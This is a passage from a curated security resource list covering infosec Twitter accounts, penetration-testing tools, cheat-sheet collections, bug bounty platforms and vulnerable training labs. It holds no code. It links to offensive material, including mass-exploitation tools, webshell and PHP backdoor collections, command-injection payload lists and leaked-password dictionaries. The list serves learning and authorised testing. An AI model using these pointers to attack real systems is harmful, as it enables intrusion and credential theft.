href="https://twitter.com/joe_carson"><b>@joe_carson</b></a> - an InfoSec Professional and Tech Geek.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/mikko"><b>@mikko</b></a> - CRO at F-Secure, Reverse Engineer, TED Speaker, Supervillain.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/esrtweet"><b>@esrtweet</b></a> - often referred to as ESR, is an American software developer, and open-source software advocate.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/gynvael"><b>@gynvael</b></a> - security researcher/programmer, @DragonSectorCTF founder/player, technical streamer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/x0rz"><b>@x0rz</b></a> - Security Researcher & Cyber Observer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/hasherezade"><b>@hasherezade</b></a> - programmer, malware analyst. Author of PEbear, PEsieve, libPeConv.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/TinkerSec"><b>@TinkerSec</b></a> - tinkerer, cypherpunk, hacker.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/alisaesage"><b>@alisaesage</b></a> - independent hacker and researcher.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/SwiftOnSecurity"><b>@SwiftOnSecurity</b></a> - systems security, industrial safety, sysadmin, author of decentsecurity.com.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/dakami"><b>@dakami</b></a> - is one of just seven people with the authority to restore the DNS root keys.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/samykamkar"><b>@samykamkar</b></a> - is a famous "grey hat" hacker, security researcher, creator of the MySpace "Samy" worm.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/securityweekly"><b>@securityweekly</b></a> - founder & CTO of Security Weekly podcast network.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/jack_daniel"><b>@jack_daniel</b></a> - @SecurityBSides co-founder.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/thegrugq"><b>@thegrugq</b></a> - Security Researcher.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/matthew_d_green"><b>@matthew_d_green</b></a> - a cryptographer and professor at Johns Hopkins University.<br> </p> ##### :black_small_square: Best Commercial Twitter Accounts <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/haveibeenpwned"><b>@haveibeenpwned</b></a> - check if you have an account that has been compromised in a data breach.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/bugcrowd"><b>@bugcrowd</b></a> - trusted by more of the Fortune 500 than any other crowdsourced security platform.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/Malwarebytes"><b>@Malwarebytes</b></a> - most trusted security company. Unmatched threat visibility.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/sansforensics"><b>@sansforensics</b></a> - the world's leading Digital Forensics and Incident Response provider.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/attcyber"><b>@attcyber</b></a> - AT&T Cybersecurity’s Edge-to-Edge technologies provide threat intelligence, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/TheManyHatsClub"><b>@TheManyHatsClub</b></a> - an information security focused podcast and group of individuals from all walks of life.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/hedgehogsec"><b>@hedgehogsec</b></a> - Hedgehog Cyber. Gibraltar and Manchester's top boutique information security firm.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/NCSC"><b>@NCSC</b></a> - the National Cyber Security Centre. Helping to make the UK the safest place to live and work online.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/Synacktiv"><b>@Synacktiv</b></a> - IT security experts.<br> </p> ##### :black_small_square: A piece of history <p> &nbsp;&nbsp;:small_orange_diamond: <a href="http://web.archive.org/web/20190221103734/https://ftp.arl.army.mil/~mike/howto/"><b>How to Do Things at ARL</b></a> - how to configure modems, scan images, record CD-ROMs, and other.<b>*</b><br> </p> ##### :black_small_square: Other <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/watch?v=3QnD2c4Xovk"><b>Diffie-Hellman Key Exchange (short version)</b></a> - how Diffie-Hellman Key Exchange worked.<br> </p> #### Hacking/Penetration Testing &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: Pentesters arsenal tools <p> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.syhunt.com/sandcat/"><b>Sandcat Browser</b></a> - a penetration-oriented browser with plenty of advanced functionality already built in.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.metasploit.com/"><b>Metasploit</b></a> - tool and framework for pentesting system, web and many more, contains a lot a ready to use exploit.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://portswigger.net/burp"><b>Burp Suite</b></a> - tool for testing web app security, intercepting proxy to replay, inject, scan and fuzz.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project"><b>OWASP Zed Attack Proxy</b></a> - intercepting proxy to replay, inject, scan and fuzz HTTP requests.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://w3af.org/"><b>w3af</b></a> - is a Web Application Attack and Audit Framework.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://mitmproxy.org/"><b>mitmproxy</b></a> - an interactive TLS-capable intercepting HTTP proxy for penetration testers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cirt.net/Nikto2"><b>Nikto2</b></a> - web server scanner which performs comprehensive tests against web servers for multiple items.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://sqlmap.org/"><b>sqlmap</b></a> - tool that automates the process of detecting and exploiting SQL injection flaws.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/lanmaster53/recon-ng"><b>Recon-ng</b></a> - is a full-featured Web Reconnaissance framework written in Python.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Tib3rius/AutoRecon"><b>AutoRecon</b></a> - is a network reconnaissance tool which performs automated enumeration of services.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.faradaysec.com/"><b>Faraday</b></a> - an Integrated Multiuser Pentest Environment.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/s0md3v/Photon"><b>Photon</b></a> - incredibly fast crawler designed for OSINT.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/s0md3v/XSStrike"><b>XSStrike</b></a> - most advanced XSS detection suite.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/1N3/Sn1per"><b>Sn1per</b></a> - automated pentest framework for offensive security experts.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/future-architect/vuls"><b>vuls</b></a> - is an agent-less vulnerability scanner for Linux, FreeBSD, and other.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/google/tsunami-security-scanner"><b>tsunami</b></a> - is a general purpose network security scanner with an extensible plugin system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/michenriksen/aquatone"><b>aquatone</b></a> - a tool for domain flyovers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/GitHackTools/BillCipher"><b>BillCipher</b></a> - information gathering tool for a website or IP address.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Ekultek/WhatWaf"><b>WhatWaf</b></a> - detect and bypass web application firewalls and protection systems.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/s0md3v/Corsy"><b>Corsy</b></a> - CORS misconfiguration scanner.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/evyatarmeged/Raccoon"><b>Raccoon</b></a> - is a high performance offensive security tool for reconnaissance and vulnerability scanning.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Nekmo/dirhunt"><b>dirhunt</b></a> - find web directories without bruteforce.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.openwall.com/john/"><b>John The Ripper</b></a> - is a fast password cracker, currently available for many flavors of Unix, Windows, and other.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hashcat.net/hashcat/"><b>hashcat</b></a> - world's fastest and most advanced password recovery utility.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://lcamtuf.coredump.cx/p0f3/"><b>p0f</b></a> - is a tool to identify the players behind any incidental TCP/IP communications.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mozilla/ssh_scan"><b>ssh_scan</b></a> - a prototype SSH configuration and policy scanner.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/woj-ciech/LeakLooker"><b>LeakLooker</b></a> - find open databases - powered by Binaryedge.io<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/offensive-security/exploitdb"><b>exploitdb</b></a> - searchable archive from The Exploit Database.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/vulnersCom/getsploit"><b>getsploit</b></a> - is a command line utility for searching and downloading exploits.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/zardus/ctf-tools"><b>ctf-tools</b></a> - some setup scripts for security research tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Gallopsled/pwntools"><b>pwntools</b></a> - CTF framework and exploit development library.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bl4de/security-tools"><b>security-tools</b></a> - collection of small security tools created mostly in Python. CTFs, pentests and so on.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/leonteale/pentestpackage"><b>pentestpackage</b></a> - is a package of Pentest scripts.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dloss/python-pentest-tools"><b>python-pentest-tools</b></a> - python tools for penetration testers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/fuzzdb-project/fuzzdb"><b>fuzzdb</b></a> - dictionary of attack patterns and primitives for black-box application fault injection.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/google/AFL"><b>AFL</b></a> - is a free software fuzzer maintained by Google.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/AFLplusplus/AFLplusplus"><b>AFL++</b></a> - is AFL with community patches.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/google/syzkaller"><b>syzkaller</b></a> - is an unsupervised, coverage-guided kernel fuzzer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/pwndbg/pwndbg"><b>pwndbg</b></a> - exploit development and reverse engineering with GDB made easy.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/longld/peda"><b>GDB PEDA</b></a> - Python Exploit Development Assistance for GDB.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hex-rays.com/products/ida/index.shtml"><b>IDA</b></a> - multi-processor disassembler and debugger useful for reverse engineering malware.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/radare/radare2"><b>radare2</b></a> - framework for reverse-engineering and analyzing binaries.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/threat9/routersploit"><b>routersploit</b></a> - exploitation framework for embedded devices.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/NationalSecurityAgency/ghidra"><b>Ghidra</b></a> - is a software reverse engineering (SRE) framework.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cutter.re/"><b>Cutter</b></a> - is an SRE platform integrating Ghidra's decompiler.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/salesforce/vulnreport"><b>Vulnreport</b></a> - open-source pentesting management and automation platform by Salesforce Product Security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/sc0tfree/mentalist"><b>Mentalist</b></a> - is a graphical tool for custom wordlist generation.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/archerysec/archerysec"><b>archerysec</b></a> - vulnerability assessment and management helps to perform scans and manage vulnerabilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/j3ssie/Osmedeus"><b>Osmedeus</b></a> - fully automated offensive security tool for reconnaissance and vulnerability scanning.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/beefproject/beef"><b>beef</b></a> - the browser exploitation framework project.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/NullArray/AutoSploit"><b>AutoSploit</b></a> - automated mass exploiter.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/TH3xACE/SUDO_KILLER"><b>SUDO_KILLER</b></a> - is a tool to identify and exploit sudo rules' misconfigurations and vulnerabilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/VirusTotal/yara"><b>yara</b></a> - the pattern matching swiss knife.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/gentilkiwi/mimikatz"><b>mimikatz</b></a> - a little tool to play with Windows security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/sherlock-project/sherlock"><b>sherlock</b></a> - hunt down social media accounts by username across social networks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://owasp.org/www-project-threat-dragon/"><b>OWASP Threat Dragon</b></a> - is a tool used to create threat model diagrams and to record possible threats.<br> </p> ##### :black_small_square: Pentests bookmarks collection <p> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.pentest-standard.org/index.php/Main_Page"><b>PTES</b></a> - the penetration testing execution standard.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.amanhardikar.com/mindmaps/Practice.html"><b>Pentests MindMap</b></a> - amazing mind map with vulnerable apps and systems.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.amanhardikar.com/mindmaps/webapptest.html"><b>WebApps Security Tests MindMap</b></a> - incredible mind map for WebApps security tests.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://brutelogic.com.br/blog/"><b>Brute XSS</b></a> - master the art of Cross Site Scripting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><b>XSS cheat sheet</b></a> - contains many vectors that can help you bypass WAFs and filters.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://jivoi.github.io/2015/07/03/offensive-security-bookmarks/"><b>Offensive Security Bookmarks</b></a> - security bookmarks collection, all things that author need to pass OSCP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/coreb1t/awesome-pentest-cheat-sheets"><b>Awesome Pentest Cheat Sheets</b></a> - collection of the cheat sheets useful for pentesting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Hack-with-Github/Awesome-Hacking"><b>Awesome Hacking by HackWithGithub</b></a> - awesome lists for hackers, pentesters and security researchers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/carpedm20/awesome-hacking"><b>Awesome Hacking by carpedm20</b></a> - a curated list of awesome hacking tutorials, tools and resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/vitalysim/Awesome-Hacking-Resources"><b>Awesome Hacking Resources</b></a> - collection of hacking/penetration testing resources to make you better.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/enaqx/awesome-pentest"><b>Awesome Pentest</b></a> - collection of awesome penetration testing resources, tools and other shiny things.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/m4ll0k/Awesome-Hacking-Tools"><b>Awesome-Hacking-Tools</b></a> - is a curated list of awesome Hacking Tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ksanchezcld/Hacking_Cheat_Sheet"><b>Hacking Cheat Sheet</b></a> - author hacking and pentesting notes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/toolswatch/blackhat-arsenal-tools"><b>blackhat-arsenal-tools</b></a> - official Black Hat arsenal security tools repository.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.peerlyst.com/posts/the-complete-list-of-infosec-related-cheat-sheets-claus-cramon"><b>Penetration Testing and WebApp Cheat Sheets</b></a> - the complete list of Infosec related cheat sheets.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/The-Art-of-Hacking/h4cker"><b>Cyber Security Resources</b></a> - includes thousands of cybersecurity-related references and resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jhaddix/pentest-bookmarks"><b>Pentest Bookmarks</b></a> - there are a LOT of pentesting blogs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OlivierLaflamme/Cheatsheet-God"><b>Cheatsheet-God</b></a> - Penetration Testing Reference Bank - OSCP/PTP & PTX Cheatsheet.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Cyb3rWard0g/ThreatHunter-Playbook"><b>ThreatHunter-Playbook</b></a> - to aid the development of techniques and hypothesis for hunting campaigns.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/hmaverickadams/Beginner-Network-Pentesting"><b>Beginner-Network-Pentesting</b></a> - notes for beginner network pentesting course.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rewardone/OSCPRepo"><b>OSCPRepo</b></a> - is a list of resources that author have been gathering in preparation for the OSCP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings"><b>PayloadsAllTheThings</b></a> - a list of useful payloads and bypass for Web Application Security and Pentest/CTF.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/foospidy/payloads"><b>payloads</b></a> - git all the Payloads! A collection of web attack payloads.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/payloadbox/command-injection-payload-list"><b>command-injection-payload-list</b></a> - command injection payload list.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jakejarvis/awesome-shodan-queries"><b>Awesome Shodan Search Queries</b></a> - great search queries to plug into Shodan.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/s0md3v/AwesomeXSS"><b>AwesomeXSS</b></a> - is a collection of Awesome XSS resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/JohnTroony/php-webshells"><b>php-webshells</b></a> - common php webshells.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/"><b>Pentesting Tools Cheat Sheet</b></a> - a quick reference high level overview for typical penetration testing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cheatsheetseries.owasp.org/"><b>OWASP Cheat Sheet Series</b></a> - is a collection of high value information on specific application security topics.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://jeremylong.github.io/DependencyCheck/index.html"><b>OWASP dependency-check</b></a> - is an open source solution the OWASP Top 10 2013 entry.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Proactive_Controls"><b>OWASP ProActive Controls</b></a> - OWASP Top 10 Proactive Controls 2018.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE"><b>PENTESTING-BIBLE</b></a> - hacking & penetration testing & red team & cyber security resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/nixawk/pentest-wiki"><b>pentest-wiki</b></a> - is a free online security knowledge library for pentesters/researchers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://media.defcon.org/"><b>DEF CON Media Server</b></a> - great stuff from DEFCON.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rshipp/awesome-malware-analysis"><b>Awesome Malware Analysis</b></a> - a curated list of awesome malware analysis tools and resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/"><b>SQL Injection Cheat Sheet</b></a> - detailed technical stuff about the many different variants of the SQL Injection.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://kb.entersoft.co.in/"><b>Entersoft Knowledge Base</b></a> - great and detailed reference about vulnerabilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://html5sec.org/"><b>HTML5 Security Cheatsheet</b></a> - a collection of HTML5 related XSS attack vectors.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://evuln.com/tools/xss-encoder/"><b>XSS String Encoder</b></a> - for generating XSS code to check your input validation filters against XSS.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gtfobins.github.io/"><b>GTFOBins</b></a> - list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://guif.re/"><b>Guifre Ruiz Notes</b></a> - collection of security, system, network and pentest cheatsheets.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://blog.safebuff.com/2016/07/03/SSRF-Tips/index.html"><b>SSRF Tips</b></a> - a collection of SSRF Tips.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://shell-storm.org/repo/CTF/"><b>shell-storm repo CTF</b></a> - great archive of CTFs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bl4de/ctf"><b>ctf</b></a> - CTF (Capture The Flag) writeups, code snippets, notes, scripts.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/orangetw/My-CTF-Web-Challenges"><b>My-CTF-Web-Challenges</b></a> - collection of CTF Web challenges.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OWASP/owasp-mstg"><b>MSTG</b></a> - The Mobile Security Testing Guide (MSTG) is a comprehensive manual for mobile app security testing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/sdcampbell/Internal-Pentest-Playbook"><b>Internal-Pentest-Playbook</b></a> - notes on the most common things for an Internal Network Penetration Test.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/streaak/keyhacks"><b>KeyHacks</b></a> - shows quick ways in which API keys leaked by a bug bounty program can be checked.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/securitum/research"><b>securitum/research</b></a> - various Proof of Concepts of security research performed by Securitum.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/juliocesarfort/public-pentesting-reports"><b>public-pentesting-reports</b></a> - is a list of public pentest reports released by several consulting security groups.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/djadmin/awesome-bug-bounty"><b>awesome-bug-bounty</b></a> - is a comprehensive curated list of available Bug Bounty.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ngalongc/bug-bounty-reference"><b>bug-bounty-reference</b></a> - is a list of bug bounty write-ups.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/devanshbatham/Awesome-Bugbounty-Writeups"><b>Awesome-Bugbounty-Writeups</b></a> - is a curated list of bugbounty writeups.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pentester.land/list-of-bug-bounty-writeups.html"><b>Bug bounty writeups</b></a> - list of bug bounty writeups (2012-2020).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hackso.me/"><b>hackso.me</b></a> - a great journey into security.<br> </p> ##### :black_small_square: Backdoors/exploits <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bartblaze/PHP-backdoors"><b>PHP-backdoors</b></a> - a collection of PHP backdoors. For educational or testing purposes only.<br> </p> ##### :black_small_square: Wordlists and Weak passwords <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://weakpass.com/"><b>Weakpass</b></a> - for any kind of bruteforce find wordlists or unleash the power of them all at once!<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hashes.org/"><b>Hashes.org</b></a> - is a free online hash resolving service incorporating many unparalleled techniques.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/danielmiessler/SecLists"><b>SecLists</b></a> - collection of multiple types of lists used during security assessments, collected in one place.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/berzerk0/Probable-Wordlists"><b>Probable-Wordlists</b></a> - sorted by probability originally created for password generation and testing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://wiki.skullsecurity.org/index.php?title=Passwords"><b>skullsecurity passwords</b></a> - password dictionaries and leaked passwords repository.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://bezpieka.org/polski-slownik-premium-polish-wordlist"><b>Polish PREMIUM Dictionary</b></a> - official dictionary created by the team on the forum bezpieka.org.<b>*</b> <sup><a href="https://sourceforge.net/projects/kali-linux/files/Wordlist/">1</sup><br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/insidetrust/statistically-likely-usernames"><b>statistically-likely-usernames</b></a> - wordlists for creating statistically likely username lists.<br> </p> ##### :black_small_square: Bounty platforms <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.yeswehack.com/"><b>YesWeHack</b></a> - bug bounty platform with infosec jobs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.openbugbounty.org/"><b>Openbugbounty</b></a> - allows any security researcher reporting a vulnerability on any website.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hackerone.com/"><b>hackerone</b></a> - global hacker community to surface the most relevant security issues.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.bugcrowd.com/"><b>bugcrowd</b></a> - crowdsourced cybersecurity for the enterprise.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://crowdshield.com/"><b>Crowdshield</b></a> - crowdsourced security & bug bounty management.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.synack.com/"><b>Synack</b></a> - crowdsourced security & bug bounty programs, crowd security intelligence platform, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hacktrophy.com/en/"><b>Hacktrophy</b></a> - bug bounty platform.<br> </p> ##### :black_small_square: Web Training Apps (local installation) <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project"><b>OWASP-VWAD</b></a> - comprehensive and well maintained registry of all known vulnerable web applications.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.dvwa.co.uk/"><b>DVWA</b></a> - PHP/MySQL web application that is damn vulnerable.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://metasploit.help.rapid7.com/docs/metasploitable-2"><b>metasploitable2</b></a> - vulnerable web application amongst security researchers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rapid7/metasploitable3"><b>metasploitable3</b></a> - is a VM that is built from the ground up with a large amount of security vulnerabilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/stamparm/DSVW"><b>DSVW</b></a> - is a deliberately vulnerable web application written in under 100 lines of code.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://sourceforge.net/projects/mutillidae/"><b>OWASP Mutillidae II</b></a> - free, open source, deliberately vulnerable web-application.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Juice_Shop_Project"><b>OWASP Juice Shop Project</b></a> - the most bug-free vulnerable application in existence.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/Projects/OWASP_Node_js_Goat_Project"><b>OWASP Node js Goat Project</b></a> - OWASP Top 10 security risks apply to web apps developed using Node.js.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/iteratec/juicy-ctf"><b>juicy-ctf</b></a> - run Capture the Flags and Security Trainings with OWASP Juice Shop.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OWASP/SecurityShepherd"><b>SecurityShepherd</b></a> - web and mobile application security training platform.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/opendns/Security_Ninjas_AppSec_Training"><b>Security Ninjas</b></a> - open source application security training program.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rapid7/hackazon"><b>hackazon</b></a> - a modern vulnerable web app.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/appsecco/dvna"><b>dvna</b></a> - damn vulnerable NodeJS application.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/DefectDojo/django-DefectDojo"><b>django-DefectDojo</b></a> - is an open-source application vulnerability correlation and security orchestration tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://google-gruyere.appspot.com/"><b>Google Gruyere</b></a> - web application exploits and defenses.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/amolnaik4/bodhi"><b>Bodhi</b></a> - is a playground focused on learning the exploitation of client-side web vulnerabilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://websploit.h4cker.org/"><b>Websploit</b></a> - single vm lab with the purpose of combining several vulnerable appliations in one environment.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/vulhub/vulhub"><b>vulhub</b></a> - pre-built Vulnerable Environments based on docker-compose.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://rhinosecuritylabs.com/aws/introducing-cloudgoat-2/"><b>CloudGoat 2</b></a> - the new & improved "Vulnerable by Design" AWS deployment tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/globocom/secDevLabs"><b>secDevLabs</b></a> - is a laboratory for learning secure web development in a practical manner.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/incredibleindishell/CORS-vulnerable-Lab"><b>CORS-vulnerable-Lab</b></a> - sample vulnerable code and its exploit code.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/moloch--/RootTheBox"><b>RootTheBox</b></a> - a Game of Hackers (CTF Scoreboard & Game Manager).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://application.security/"><b>KONTRA</b></a> - application security training (OWASP 